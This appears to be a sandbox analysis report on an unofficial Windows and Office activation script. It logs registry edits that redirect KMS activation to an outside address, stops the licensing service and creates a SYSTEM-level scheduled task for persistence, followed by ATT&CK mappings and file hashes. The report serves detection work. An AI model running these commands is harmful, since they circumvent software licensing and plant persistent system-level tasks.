C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:324⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "185.213.174.199" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "185.213.174.199"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' ) get ID /value"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f' and Description like '%KMSCLIENT%' ) get ID /value5⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='2de67392-b7a7-462a-b1ca-108dd189f588') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "2de67392-b7a7-462a-b1ca-108dd189f588"4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f\2de67392-b7a7-462a-b1ca-108dd189f588" /f4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ID='2de67392-b7a7-462a-b1ca-108dd189f588') get Name /value"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='2de67392-b7a7-462a-b1ca-108dd189f588') get Name /value5⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where ID='2de67392-b7a7-462a-b1ca-108dd189f588' call Activate4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ID='2de67392-b7a7-462a-b1ca-108dd189f588') get GracePeriodRemaining /value"4⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='2de67392-b7a7-462a-b1ca-108dd189f588') get GracePeriodRemaining /value5⤵
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='3f1afc82-f8ac-4f6c-8005-1d233e606eee') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "3f1afc82-f8ac-4f6c-8005-1d233e606eee"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='73111121-5638-40f6-bc11-f1d7b0d64300') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "73111121-5638-40f6-bc11-f1d7b0d64300"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='82bbc092-bc50-4e16-8e18-b74fc486aec3') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "82bbc092-bc50-4e16-8e18-b74fc486aec3"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='e0c42288-980c-4788-a014-c080d2e1926e') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "e0c42288-980c-4788-a014-c080d2e1926e"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='e4db50ea-bda1-4566-b047-0ca50abc6f07') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "e4db50ea-bda1-4566-b047-0ca50abc6f07"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (ID='ec868e65-fadf-4759-b23e-93fe37f2cc29') get LicenseStatus /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr "1"4⤵
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (PartialProductKey is not NULL) get ID /value4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "ec868e65-fadf-4759-b23e-93fe37f2cc29"4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableDnsPublishing4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching4⤵
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "STOPPED"4⤵
-
-
C:\Windows\System32\net.exenet stop sppsvc /y4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop sppsvc /y5⤵
-
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "STOPPED"4⤵
-
-
C:\Windows\System32\sc.exesc stop sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc trigger=timer;sessionid=04⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688"4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableDnsPublishing4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /reg:324⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688" /reg:324⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f /v KeyManagementServicePort /t REG_SZ /d "1688"4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\55c92734-d682-4d71-983e-d6ec3f16059f" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\System32\reg.exereg delete "HKU\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServiceName /t REG_SZ /d "10.0.0.10"4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v KeyManagementServicePort4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableDnsPublishing4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform" /f /v DisableKeyManagementServiceHostCaching4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\59a52881-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\OfficeSoftwareProtectionPlatform\0ff1ce15-a989-479d-af46-f275c6370663" /f4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext /v MigrationToV5Done4⤵
-
-
C:\Windows\System32\find.exefind /i "0x1"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "\Activation-Renewal \Online_KMS_Activation_Script-Renewal"4⤵
-
-
C:\Windows\System32\mode.commode con: cols=76 lines=304⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345670 /N4⤵
-
-
C:\Windows\System32\mode.commode con cols=91 lines=304⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Run_Once"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Online_KMS_Activation_Script-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Online_KMS_Activation_Script-Run_Once"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCR\DesktopBackground\shell\Activate Windows - Office"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Run_Once"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Online_KMS_Activation_Script"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKCR\DesktopBackground\shell\Activate Windows - Office"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_50450843.cmd') -split \":renewal\:.*`r`n\"; [io.file]::WriteAllText('C:\Windows\Temp\_taskwork_20550\Renewal.xml',$f[1].Trim(),[System.Text.Encoding]::Unicode);"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\schtasks.exeschtasks /create /tn "Activation-Renewal" /ru "SYSTEM" /xml "C:\Windows\Temp\_taskwork_20550\Renewal.xml"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_50450843.cmd') -split \":_extracttask\:.*`r`n\"; [io.file]::WriteAllText('C:\Program Files\Activation-Renewal\Activation_task.cmd', '@REM Dummy ' + '21306' + [Environment]::NewLine + $f[1].Trim(), [System.Text.Encoding]::ASCII);"4⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext /v MigrationToV5Done4⤵
-
-
C:\Windows\System32\find.exefind /i "0x1"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*retail"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
- Modifies registry key
-
-
C:\Windows\System32\findstr.exefindstr /i /r ".*volume"4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /v "project visio"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "project.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x2"4⤵
-
-
C:\Windows\System32\reg.exereg query HKCU\SOFTWARE\Microsoft\Office\16.0\Common\Licensing\LicensingNext4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i /r "visio.*"4⤵
-
-
C:\Windows\System32\find.exefind /i "0x3"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s4⤵
-
-
C:\Windows\System32\find.exefind /i "\Activation-Renewal"4⤵
-
-
C:\Windows\System32\find.exefind /i "Ver:1.9" "C:\Program Files\Activation-Renewal\Activation_task.cmd"4⤵
-
-
C:\Windows\System32\mode.commode con: cols=76 lines=304⤵
-
-
C:\Windows\System32\choice.exechoice /C:12345670 /N4⤵
-
-
C:\Windows\System32\mode.commode 76, 304⤵
-
-
C:\Windows\System32\choice.exechoice /C:123456780 /N4⤵
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
896KB
MD55fcbb7b5c7b302c77f866219a74cd093
SHA1730e2ddbabdc6c2eedd6cc28180dbef6fa7e1505
SHA2565e1eb2f4ae269ac9297010265e5dfe89a8713e5c0e2c69581ae19f844a13d22a
SHA512c4b3b3aeccb52ea3bbce5d677b26144025fda814da4abab6a1fbfe5c0115ba937d7f75af6f19e42931873c461524ba7ba02d6e2b4ab9da399eb2754d49cacd1f
-
Filesize
9KB
MD57050d5ae8acfbe560fa11073fef8185d
SHA15bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b
-
Filesize
10KB
MD5071a9f59626c2997d393e3eb7658672e
SHA194045140774252ea1c4a2778b36645a897bd665c
SHA256d2ed3e6d5ca91f54abc8194b0c793fbe072632f82e867ea567acf6409ec18b2c
SHA5121b1cea450aed1865381d5e2a772117a6fda8d123eb5dc9c9a1f1f8001c7ab7bb1f42f238bf7b633ccda4773cb6862e4e6286827f6ef1111c4f09d5c6c827b330
-
Filesize
64B
MD513af6be1cb30e2fb779ea728ee0a6d67
SHA1f33581ac2c60b1f02c978d14dc220dce57cc9562
SHA256168561fb18f8eba8043fa9fc4b8a95b628f2cf5584e5a3b96c9ebaf6dd740e3f
SHA5121159e1087bc7f7cbb233540b61f1bdecb161ff6c65ad1efc9911e87b8e4b2e5f8c2af56d67b33bc1f6836106d3fea8c750cc24b9f451acf85661e0715b829413
-
Filesize
944B
MD58857491a4a65a9a1d560c4705786a312
SHA14f3caf2ad5d66a2410c9cca0381d26a46e832cb4
SHA256b6e1a16a11075cb4e0bae0cebdb6ac15f5d66e0005f557703708a04cd11bd360
SHA512d9497c47898cdc4c4fc62158830dc931990e08bb4a28a5d19d4187a87a2afab8a4bd58ca346563210b476c9adb9a714bfe1057e0ebce85d1fd94731be6d02660
-
Filesize
944B
MD51542328a8546914b4e2f1aef9cb42bea
SHA17a0ac5969dfb20eb974e8a3bd8707243fa68f94f
SHA2567584152ef93be4dc497db509c723f20a1fd09d69df02d62c897eefda6bf4c737
SHA512b2b117abc97a64a71538d57c7f6c68c405d7ff5ef91dafe768832ff63378cb627af8b035b2a803627754c2219dd26755a2fa28e3a1bb9b1deb32ba13487ee286
-
Filesize
64B
MD58980dfa97427347198e96089e8c63b20
SHA14ed90efbdca0d0820097ba5cc7a74045a91b0093
SHA25673c69d9d2b407efb21afc04bc5b50decd24586abf21958122196a9e1ed6137ee
SHA5122e765d6e433a6c31d918a4526825beca17f4413cfcf57a9c009d4755d492efedf9f54e68e22a80f9cd5fe0b7b46043c894abf673637a4b0226cf811263e17f77
-
Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
Filesize
1KB
MD5c0b93b41fdf33d8109dae39e2a6be972
SHA1dc039f034e8c87f0178c6f86ec4c8e476d276d58
SHA2562024e197471854c1ca02640ac25ae2caa3f121f31aa88bab163508a91943384a
SHA5123d9ba812dbe89f3823aaa702db449d5609549e12499251c7ab1e52f27e1f9ab9a04e6f9d4d8d934f87e8cf85aabb1e85f599d97cd948051b9aa9c0d5bd17995a
-
Filesize
64B
MD5a1331cbed4b8205b9ab41b2273364b50
SHA1417c3494a3373ffd20a9b06339c028d9cf83f274
SHA256e9ed62a21ecb726e105dab4b11cf648f601adf272b760f21ea875643ab301a50
SHA512e98dc9c6f0a764a3bf0b605ac456604d5aaf6a42632c9508b877616ed92fd5d2c688c3e4768bfcd15adabfea77dfbb288f879292d18eb968f8b835a45e55c872
-
Filesize
554KB
MD5a7927846f2bd5e6ab6159fbe762990b1
SHA18e3b40c0783cc88765bbc02ccc781960e4592f3f
SHA256913f97dd219eeb7d5f7534361037fe1ecc3a637eb48d67b1c8afa8b5f951ba2f
SHA5121eafece2f6aa881193e6374b81d7a7c8555346756ed53b11ca1678f1f3ffb70ae3dea0a30c5a0aab8be45db9c31d78f30f026bb22a7519a0930483d50507243f
-
Filesize
112KB
MD594dc379aa020d365ea5a32c4fab7f6a3
SHA17270573fd7df3f3c996a772f85915e5982ad30a1
SHA256dc6a5930c2b9a11204d2e22a3e8d14c28e5bdac548548e256ba7ffa79bd8c907
SHA512998fd10a1f43024a2398491e3764748c0b990b37d8b3c820d281296f8da8f1a2f97073f4fd83543994a6e326fa7e299cb5f59e609358cd77af996175782eeaca
-
Filesize
875KB
MD56ad0376a375e747e66f29fb7877da7d0
SHA1a0de5966453ff2c899f00f165bbff50214b5ea39
SHA2564c9a4ab6596626482dd2190034fcb3fafebe88a961423962ad577e873ef5008f
SHA5128a97b2cc96ec975188e53e428d0fc2c562f4c3493d3c354e316c7f89a0bd25c84246807c9977f0afdda3291b8c23d518a36fd967d8f9d4d2ce7b0af11b96eb18
-
Filesize
402KB
MD5b1f793773dc727b4af1648d6d61f5602
SHA1be7ed4e121c39989f2fb343558171ef8b5f7af68
SHA256af7f342adf5b533ea6978b68064f39bfb1e4ad3b572ae1b7f2287f5533334d4e
SHA51266a92bff5869a56a7931d7ed9881d79c22ba741c55fb42c11364f037e1ec99902db2679b67a7e60cbf760740d5b47dcf1a6dcfae5ad6711a0bd7f086cc054eed
-
Filesize
183KB
MD5a033f16836d6f8acbe3b27b614b51453
SHA1716297072897aea3ec985640793d2cdcbf996cf9
SHA256e3b3a4c9c6403cb8b0aa12d34915b67e4eaa5bb911e102cf77033aa315d66a1e
SHA512ad5b641d93ad35b3c7a3b56cdf576750d1ad4c63e2a16006739888f0702280cad57dd0a6553ef426111c04ceafd6d1e87f6e7486a171fff77f243311aee83871
-
Filesize
142KB
MD5e5d5e9c1f65b8ec7aa5b7f1b1acdd731
SHA1dbb14dcda6502ab1d23a7c77d405dafbcbeb439e
SHA256e30508e2088bc16b2a84233ced64995f738deaef2366ac6c86b35c93bbcd9d80
SHA5127cf80d4a16c5dbbf61fcb22ebe30cf78ca42a030b7d7b4ad017f28fba2c9b111e8cf5b3064621453a44869bbaed124d6fb1e8d2c8fe8202f1e47579d874fa4bc
-
Filesize
415KB
MD5ea8488990b95ce4ef6b4e210e0d963b2
SHA1cd8bf723aa9690b8ca9a0215321e8148626a27d1
SHA25604f851b9d5e58ed002ad768bdcc475f22905fb1dab8341e9b3128df6eaa25b98
SHA51256562131cbe5f0ea5a2508f5bfed88f21413526f1539fe4864ece5b0e03a18513f3db33c07e7abd7b8aaffc34a7587952b96bb9990d9f4efa886f613d95a5b1b
-
Filesize
619KB
